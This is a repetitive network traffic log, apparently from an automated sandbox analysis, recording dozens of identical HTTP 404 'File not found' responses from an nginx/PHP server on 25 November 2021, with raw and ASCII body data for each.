Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:36 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:37 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:37 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:39 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:39 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:40 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:40 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:41 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:41 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:43 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:43 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:44 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:44 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:45 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:45 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:46 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:46 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:47 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:47 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:48 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:48 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:49 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:49 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:50 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:50 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:51 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:51 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:52 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:52 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:54 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:54 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:56 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:56 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:57 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:57 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:59 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:59 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:01 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:01 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:05 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:05 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:07 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:07 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:10 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
